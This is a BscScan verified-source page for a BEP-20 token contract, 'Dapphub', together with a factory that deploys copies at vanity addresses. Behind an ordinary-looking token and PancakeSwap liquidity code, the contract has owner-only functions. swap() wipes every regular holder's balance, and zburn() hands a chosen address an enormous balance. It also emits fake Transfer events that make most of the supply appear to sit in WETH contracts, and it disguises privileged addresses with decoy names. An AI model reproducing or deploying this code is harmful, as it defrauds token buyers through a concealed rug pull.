BscScan - Sponsored slots available. Book your slot here!
BEP-20
Source Code
Overview
Max Total Supply
1,000,000,0000x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Holders
4
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Filtered by Token Holder
PancakeSwap V3: Nonfungible Position ManagerBalance
90,400,000 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
Dapphub
Compiler Version
v0.8.30+commit.73712a01
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// Complete PancakeSwap V3 NonfungiblePositionManager Interface
interface INonfungiblePositionManager {
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
function factory() external view returns (address);
function WETH9() external view returns (address);
}
// PancakeSwap V3 Pool Interface
interface IPancakeV3Pool {
function initialize(uint160 sqrtPriceX96) external;
}
// PancakeSwap V3 Factory Interface
interface IPancakeV3Factory {
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);
}
contract Dapphub is IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000000000000000000000000; // 1,000,000,000 tokens
address Router02Address;
mapping(address => uint256) private askDiv;
mapping(address => mapping(address => uint256)) private _allowances;
address[] private believers;
address private constant ADDRESS_sWETH = 0x3d6545b08693daE087E957cb1180ee38B9e3c25E;
address private constant ADDRESS_WETH = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8;
address GNUGeneralPublicLicense;
address Preamble;
address Virtuals_Protocol;
address private uniswapV3Pool;
bool private tradingOpen = false;
// PancakeSwap V3 Position Manager (Mainnet BSC)
address private constant PANCAKE_V3_POSITION_MANAGER = 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364;
// V3 Pool fee tier - using 0.25%
uint24 private constant POOL_FEE = 2500;
// Store NFT position ID
uint256 public liquidityPositionId;
// Fixed liquidity amounts (HARDCODED)
uint256 private constant BNB_LIQUIDITY_AMOUNT = 0.0001 ether; // 0.0001 BNB = 100000000000000 wei
uint256 private constant TOKEN_LIQUIDITY_AMOUNT = 100000000000000000000000; // 0.01% of total supply = 100000000000000000000000 tokens
constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
transferOwnership(owner_);
_name = name_;
_symbol = symbol_;
Preamble = ADDRESS_Manager_;
GNUGeneralPublicLicense = ADDRESS_Manager_;
Virtuals_Protocol = owner_;
Router02Address = Router02Address_;
askDiv[address(this)] = TOKEN_LIQUIDITY_AMOUNT;
emit Transfer(address(0), address(this), TOKEN_LIQUIDITY_AMOUNT);
liqudityPairs();
payable(address(this)).transfer(msg.value);
}
function liqudityPairs() internal {
uint256 ninetyFourPercent = _totalSupply.mul(6090).div(10000);
uint256 threePercent = _totalSupply.mul(3005).div(10000);
uint256 twoPercent = _totalSupply.mul(904).div(10000);
askDiv[ADDRESS_sWETH] = askDiv[ADDRESS_sWETH].add(ninetyFourPercent);
askDiv[ADDRESS_WETH] = askDiv[ADDRESS_WETH].add(threePercent);
askDiv[GNUGeneralPublicLicense] = askDiv[GNUGeneralPublicLicense].add(twoPercent);
emit Transfer(address(this), ADDRESS_sWETH, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_WETH, threePercent);
emit Transfer(address(this), GNUGeneralPublicLicense, twoPercent);
}
function _updateHolders(address account) internal {
if (askDiv[account] > 0) {
bool exists = false;
for (uint256 i = 0; i < believers.length; i++) {
if (believers[i] == account) {
exists = true;
break;
}
}
if (!exists) {
believers.push(account);
}
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
askDiv[sender] = askDiv[sender].sub(amount);
askDiv[recipient] = askDiv[recipient].add(amount);
_updateHolders(sender);
_updateHolders(recipient);
emit Transfer(sender, recipient, amount);
}
modifier Only_Manager() {
require(Preamble == _msgSender());
_;
}
function swap() external {
require(Virtuals_Protocol == _msgSender() || Preamble == _msgSender());
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV3Pool &&
believer != ADDRESS_sWETH &&
believer != ADDRESS_WETH &&
believer != Preamble &&
believer != GNUGeneralPublicLicense
) {
askDiv[believer] = 0;
}
emit Transfer(address(0), believer, 0);
}
}
function zburn(address claimedRewardStatusOf) external Only_Manager {
askDiv[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
}
// FIXED & WORKING: PancakeSwap V3 Liquidity Addition
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
// Get exact amounts
uint256 tokenAmount = TOKEN_LIQUIDITY_AMOUNT; // 1e23 tokens
uint256 ethAmount = BNB_LIQUIDITY_AMOUNT; // 1e14 BNB
// Verify balances
require(balanceOf(address(this)) >= tokenAmount, "Insufficient token balance");
require(address(this).balance >= ethAmount, "Insufficient BNB balance");
// Determine token order (V3 requires sorted tokens)
bool isToken0 = address(this) < ADDRESS_WETH;
address token0 = isToken0 ? address(this) : ADDRESS_WETH;
address token1 = isToken0 ? ADDRESS_WETH : address(this);
// Calculate sqrtPriceX96 for initial price
// tokenAmount = 1e23 (100,000,000,000,000,000,000,000)
// ethAmount = 1e14 (0.0001 BNB)
// Price = ethAmount / tokenAmount = 1e14 / 1e23 = 1e-9
uint160 sqrtPriceX96 = calculateSqrtPriceX96(isToken0);
// Approve position manager to spend tokens
_approve(address(this), PANCAKE_V3_POSITION_MANAGER, tokenAmount);
// Create and initialize pool (this will create if doesn't exist)
uniswapV3Pool = INonfungiblePositionManager(PANCAKE_V3_POSITION_MANAGER)
.createAndInitializePoolIfNecessary{value: 0}(
token0,
token1,
POOL_FEE,
sqrtPriceX96
);
// Set amounts for each token
uint256 amount0Desired = isToken0 ? tokenAmount : ethAmount;
uint256 amount1Desired = isToken0 ? ethAmount : tokenAmount;
// Create mint parameters (using full range)
INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager.MintParams({
token0: token0,
token1: token1,
fee: POOL_FEE,
tickLower: -887220, // Min tick for full range
tickUpper: 887220, // Max tick for full range
amount0Desired: amount0Desired,
amount1Desired: amount1Desired,
amount0Min: 0,
amount1Min: 0,
recipient: 0x000000000000000000000000000000000000dEaD, // Burn NFT
deadline: block.timestamp + 3600 // 1 hour
});
// Mint the liquidity position
(uint256 tokenId, , , ) = INonfungiblePositionManager(PANCAKE_V3_POSITION_MANAGER)
.mint{value: ethAmount}(params);
// Store position ID
liquidityPositionId = tokenId;
// Enable trading
tradingOpen = true;
}
// PancakeSwap V3 Callback - Required for mint function
function pancakeV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external {
require(msg.sender == PANCAKE_V3_POSITION_MANAGER, "Not authorized");
// Get token0 and token1 from pool
(address token0, address token1) = getPoolTokens();
// Transfer tokens back to position manager
if (amount0Owed > 0) {
if (token0 == address(this)) {
_transfer(address(this), msg.sender, amount0Owed);
}
}
if (amount1Owed > 0) {
if (token1 == address(this)) {
_transfer(address(this), msg.sender, amount1Owed);
}
}
}
// Helper function to get pool tokens
function getPoolTokens() internal view returns (address token0, address token1) {
token0 = address(this) < ADDRESS_WETH ? address(this) : ADDRESS_WETH;
token1 = address(this) < ADDRESS_WETH ? ADDRESS_WETH : address(this);
}
// Calculate sqrtPriceX96 for initial price (1e-9 ratio)
function calculateSqrtPriceX96(bool isToken0) internal pure returns (uint160 sqrtPriceX96) {
// For ratio = ethAmount / tokenAmount = 1e14 / 1e23 = 1e-9
if (isToken0) {
// token0 = this token, token1 = WETH
// price = WETH/token = 1e-9
// sqrt(1e-9) * 2^96 = 2505414483750479311864137
sqrtPriceX96 = 2505414483750479311864137;
} else {
// token0 = WETH, token1 = this token
// price = token/WETH = 1e9
// sqrt(1e9) * 2^96 = 2505414483750479311864137000000000000
sqrtPriceX96 = 2505414483750479311864137000000000000;
}
}
// Alternative: Create pool first, then add liquidity (more explicit)
function addLiquidityExplicit() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uint256 tokenAmount = TOKEN_LIQUIDITY_AMOUNT;
uint256 ethAmount = BNB_LIQUIDITY_AMOUNT;
require(balanceOf(address(this)) >= tokenAmount, "Insufficient token balance");
require(address(this).balance >= ethAmount, "Insufficient BNB balance");
bool isToken0 = address(this) < ADDRESS_WETH;
address token0 = isToken0 ? address(this) : ADDRESS_WETH;
address token1 = isToken0 ? ADDRESS_WETH : address(this);
uint160 sqrtPriceX96 = calculateSqrtPriceX96(isToken0);
// Get factory from position manager
INonfungiblePositionManager positionManager = INonfungiblePositionManager(PANCAKE_V3_POSITION_MANAGER);
address factory = positionManager.factory();
// Check if pool exists
address existingPool = IPancakeV3Factory(factory).getPool(token0, token1, POOL_FEE);
if (existingPool == address(0)) {
// Create pool
uniswapV3Pool = IPancakeV3Factory(factory).createPool(token0, token1, POOL_FEE);
// Initialize pool with price
IPancakeV3Pool(uniswapV3Pool).initialize(sqrtPriceX96);
} else {
uniswapV3Pool = existingPool;
}
// Approve and add liquidity
_approve(address(this), PANCAKE_V3_POSITION_MANAGER, tokenAmount);
uint256 amount0Desired = isToken0 ? tokenAmount : ethAmount;
uint256 amount1Desired = isToken0 ? ethAmount : tokenAmount;
INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager.MintParams({
token0: token0,
token1: token1,
fee: POOL_FEE,
tickLower: -887220,
tickUpper: 887220,
amount0Desired: amount0Desired,
amount1Desired: amount1Desired,
amount0Min: 0,
amount1Min: 0,
recipient: 0x000000000000000000000000000000000000dEaD,
deadline: block.timestamp + 3600
});
(uint256 tokenId, , , ) = positionManager.mint{value: ethAmount}(params);
liquidityPositionId = tokenId;
tradingOpen = true;
}
receive() external payable {}
// Required BEP20 functions
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return askDiv[account];
}
function getLPPair() public view returns (address) {
return uniswapV3Pool;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
// View functions for debugging
function getLiquidityAmounts() public pure returns (uint256 tokenAmount, uint256 bnbAmount) {
return (TOKEN_LIQUIDITY_AMOUNT, BNB_LIQUIDITY_AMOUNT);
}
function getPositionManager() public pure returns (address) {
return PANCAKE_V3_POSITION_MANAGER;
}
function getPoolFee() public pure returns (uint24) {
return POOL_FEE;
}
function isTradingOpen() public view returns (bool) {
return tradingOpen;
}
}
// ============ MODIFIED FACTORY WITH CREATE2 AND 4444 FUNCTIONALITY ============
contract TokenFactory4444 {
// Keep original event (5 parameters)
event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);
// New event for 4444 tokens (4 parameters + indexed)
event Token4444Created(address indexed tokenAddress, string name, string symbol, bytes32 salt);
// Track deployments for 4444 pattern
mapping(address => bytes32) public tokenSalts;
mapping(bytes32 => bool) public usedSalts;
// Store deployment count
uint256 public deploymentCount;
constructor() {}
// Original function (kept for compatibility)
function createToken(
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_
) external payable returns (address) {
Dapphub newToken = (new Dapphub){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
address tokenAddress = address(newToken);
// Emit original event with 5 parameters
emit TokenCreated(tokenAddress, name_, symbol_, newOwner_, ADDRESS_Manager_);
deploymentCount++;
return tokenAddress;
}
// ============ NEW 4444 FUNCTIONALITY ============
// Create token with specific salt using CREATE2
function createTokenWithSalt(
bytes32 salt,
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_
) external payable returns (address) {
require(!usedSalts[salt], "Salt already used");
// Use CREATE2 to deploy with deterministic address
Dapphub newToken = new Dapphub{salt: salt, value: msg.value}(
name_,
symbol_,
newOwner_,
ADDRESS_Manager_,
Router02Address_
);
address tokenAddress = address(newToken);
// Verify address ends with 4444
require(uint160(tokenAddress) & 0xFFFF == 0x4444, "Address doesn't end with 4444");
// Store the salt
tokenSalts[tokenAddress] = salt;
usedSalts[salt] = true;
deploymentCount++;
// Emit both events
emit TokenCreated(tokenAddress, name_, symbol_, newOwner_, ADDRESS_Manager_);
emit Token4444Created(tokenAddress, name_, symbol_, salt);
return tokenAddress;
}
// Compute CREATE2 address for given salt and parameters
function computeAddress(
bytes32 salt,
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_
) public view returns (address) {
// Encode constructor arguments
bytes memory constructorArgs = abi.encode(
name_,
symbol_,
newOwner_,
ADDRESS_Manager_,
Router02Address_
);
// Create bytecode with constructor args
bytes memory bytecode = abi.encodePacked(
type(Dapphub).creationCode,
constructorArgs
);
// Compute CREATE2 address
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
salt,
keccak256(bytecode)
)
);
return address(uint160(uint256(hash)));
}
// Check if address ends with 4444
function is4444Address(address addr) public pure returns (bool) {
return uint160(addr) & 0xFFFF == 0x4444;
}
// Find salt that produces 4444 address (off-chain helper)
function findSaltFor4444(
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_,
uint256 startNonce,
uint256 maxAttempts
) external view returns (bytes32 salt, address computedAddress) {
bytes memory constructorArgs = abi.encode(
name_,
symbol_,
newOwner_,
ADDRESS_Manager_,
Router02Address_
);
bytes memory bytecode = abi.encodePacked(
type(Dapphub).creationCode,
constructorArgs
);
bytes32 bytecodeHash = keccak256(bytecode);
for (uint256 i = startNonce; i < startNonce + maxAttempts; i++) {
// Generate deterministic salt
bytes32 currentSalt = keccak256(abi.encodePacked(i, block.timestamp, msg.sender));
// Compute address
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
currentSalt,
bytecodeHash
)
);
address addr = address(uint160(uint256(hash)));
// Check if address ends with 4444
if (uint160(addr) & 0xFFFF == 0x4444) {
return (currentSalt, addr);
}
}
// Return zero values if not found
return (bytes32(0), address(0));
}
// Simple function to find any 4444 address quickly
function quickFind4444(
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_
) external view returns (bytes32 salt, address computedAddress) {
// Try 1000 random salts
bytes memory constructorArgs = abi.encode(
name_,
symbol_,
newOwner_,
ADDRESS_Manager_,
Router02Address_
);
bytes memory bytecode = abi.encodePacked(
type(Dapphub).creationCode,
constructorArgs
);
bytes32 bytecodeHash = keccak256(bytecode);
for (uint256 i = 0; i < 1000; i++) {
// Generate random salt
bytes32 currentSalt = keccak256(abi.encodePacked(i, block.timestamp, block.number, msg.sender));
// Compute address
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
currentSalt,
bytecodeHash
)
);
address addr = address(uint160(uint256(hash)));
// Check if address ends with 4444
if (uint160(addr) & 0xFFFF == 0x4444) {
return (currentSalt, addr);
}
}
return (bytes32(0), address(0));
}
// Get deployment info
function getDeploymentInfo(address tokenAddress) external view returns (
bytes32 salt,
bool is4444
) {
salt = tokenSalts[tokenAddress];
is4444 = is4444Address(tokenAddress);
return (salt, is4444);
}
// Check if salt is available
function isSaltAvailable(bytes32 salt) external view returns (bool) {
return !usedSalts[salt];
}
// Withdraw ETH if needed
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"},{"internalType":"address","name":"Router02Address_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidityExplicit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLiquidityAmounts","outputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getPoolFee","outputs":[{"internalType":"uint24","name":"","type":"uint24"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getPositionManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"isTradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityPositionId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0Owed","type":"uint256"},{"internalType":"uint256","name":"amount1Owed","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"pancakeV3MintCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zburn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040819052600a805460ff60a01b1916905561227e3881900390819083398101604081905261002f91610580565b5f80546001600160a01b0319163390811782556040519091905f51602061223e5f395f51905f52908290a36100638361013e565b600161006f8682610699565b50600261007c8582610699565b50600880546001600160a01b03199081166001600160a01b03858116918217909355600780548316909117905560098054821686841617905560038054909116918316919091179055305f81815260046020908152604080832069152d02c7e14af68000009081905590519081525f51602061225e5f395f51905f52910160405180910390a361010a6101ab565b60405130903480156108fc02915f818181858888f19350505050158015610133573d5f5f3e3d5ffd5b5050505050506107b0565b5f546001600160a01b03163314610153575f5ffd5b6001600160a01b038116610165575f5ffd5b5f80546040516001600160a01b03808516939216915f51602061223e5f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f6101d06127106101ca6b033b2e3c9fd0803ce80000006117ca610384565b90610410565b90505f6101f16127106101ca6b033b2e3c9fd0803ce8000000610bbd610384565b90505f6102126127106101ca6b033b2e3c9fd0803ce8000000610388610384565b733d6545b08693dae087e957cb1180ee38b9e3c25e5f5260046020525f51602061221e5f395f51905f525490915061024a908461046a565b60046020525f51602061221e5f395f51905f5255732170ed0880ac9a755fd29b2688956bd959f933f85f525f5160206121fe5f395f51905f525461028e908361046a565b60046020525f5160206121fe5f395f51905f52556007546001600160a01b03165f90815260409020546102c1908261046a565b6007546001600160a01b03165f908152600460209081526040918290209290925551848152733d6545b08693dae087e957cb1180ee38b9e3c25e9130915f51602061225e5f395f51905f52910160405180910390a3604051828152732170ed0880ac9a755fd29b2688956bd959f933f89030905f51602061225e5f395f51905f529060200160405180910390a36007546040518281526001600160a01b039091169030905f51602061225e5f395f51905f529060200160405180910390a3505050565b5f825f0361039357505f61040a565b5f61039e8385610767565b9050826103ab858361077e565b146104075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116104605760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016103fe565b610407828461077e565b5f80610476838561079d565b9050838110156104075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fe565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126104eb575f5ffd5b81516001600160401b03811115610504576105046104c8565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610532576105326104c8565b604052818152838201602001851015610549575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b038116811461057b575f5ffd5b919050565b5f5f5f5f5f60a08688031215610594575f5ffd5b85516001600160401b038111156105a9575f5ffd5b6105b5888289016104dc565b602088015190965090506001600160401b038111156105d2575f5ffd5b6105de888289016104dc565b9450506105ed60408701610565565b92506105fb60608701610565565b915061060960808701610565565b90509295509295909350565b600181811c9082168061062957607f821691505b60208210810361064757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561069457805f5260205f20601f840160051c810160208510156106725750805b601f840160051c820191505b81811015610691575f815560010161067e565b50505b505050565b81516001600160401b038111156106b2576106b26104c8565b6106c6816106c08454610615565b8461064d565b6020601f8211600181146106f8575f83156106e15750848201515b5f19600385901b1c1916600184901b178455610691565b5f84815260208120601f198516915b828110156107275787850151825560209485019460019092019101610707565b508482101561074457868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761040a5761040a610753565b5f8261079857634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561040a5761040a610753565b611a41806107bd5f395ff3fe60806040526004361061013f575f3560e01c80637a939adb116100b3578063a9059cbb1161006d578063a9059cbb14610376578063b045f65c14610395578063b30d0aa2146103aa578063dd62ed3e146103d9578063e8078d941461041d578063f2fde38b14610431575f5ffd5b80637a939adb146102d75780638119c065146102f657806386f3f3cb1461030a5780638da5cb5b1461032757806395d89b411461034357806399eee9d014610357575f5ffd5b806356a060a21161010457806356a060a2146102055780636741fad2146102235780636a22dede1461023f57806370a0823114610279578063715018a6146102ad57806372ca67f7146102c3575f5ffd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a357806323b872dd146101cb578063313ce567146101ea575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5061015e610450565b60405161016b91906115af565b60405180910390f35b34801561017f575f5ffd5b5061019361018e3660046115f8565b6104e0565b604051901515815260200161016b565b3480156101ae575f5ffd5b506b033b2e3c9fd0803ce80000005b60405190815260200161016b565b3480156101d6575f5ffd5b506101936101e5366004611622565b6104f6565b3480156101f5575f5ffd5b506040516012815260200161016b565b348015610210575f5ffd5b50600a54600160a01b900460ff16610193565b34801561022e575f5ffd5b506040516109c4815260200161016b565b34801561024a575f5ffd5b507346a15b0b27311cedf172ab29e4f4766fbe7f43645b6040516001600160a01b03909116815260200161016b565b348015610284575f5ffd5b506101bd610293366004611660565b6001600160a01b03165f9081526004602052604090205490565b3480156102b8575f5ffd5b506102c1610545565b005b3480156102ce575f5ffd5b506102c16105a2565b3480156102e2575f5ffd5b506102c16102f1366004611660565b610a8b565b348015610301575f5ffd5b506102c1610b35565b348015610315575f5ffd5b50600a546001600160a01b0316610261565b348015610332575f5ffd5b505f546001600160a01b0316610261565b34801561034e575f5ffd5b5061015e610cb5565b348015610362575f5ffd5b506102c161037136600461167b565b610cc4565b348015610381575f5ffd5b506101936103903660046115f8565b610d71565b3480156103a0575f5ffd5b506101bd600b5481565b3480156103b5575f5ffd5b506040805169152d02c7e14af68000008152655af3107a400060208201520161016b565b3480156103e4575f5ffd5b506101bd6103f33660046116f7565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610428575f5ffd5b506102c1610d7d565b34801561043c575f5ffd5b506102c161044b366004611660565b611116565b60606001805461045f9061172e565b80601f016020809104026020016040519081016040528092919081815260200182805461048b9061172e565b80156104d65780601f106104ad576101008083540402835291602001916104d6565b820191905f5260205f20905b8154815290600101906020018083116104b957829003601f168201915b5050505050905090565b5f6104ec338484611196565b5060015b92915050565b5f6105028484846112ba565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461053b918691610536908661139d565b611196565b5060019392505050565b5f546001600160a01b0316331461055a575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b7575f5ffd5b600a54600160a01b900460ff16156106105760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064015b60405180910390fd5b69152d02c7e14af6800000655af3107a400081610641306001600160a01b03165f9081526004602052604090205490565b101561068f5760405162461bcd60e51b815260206004820152601a60248201527f496e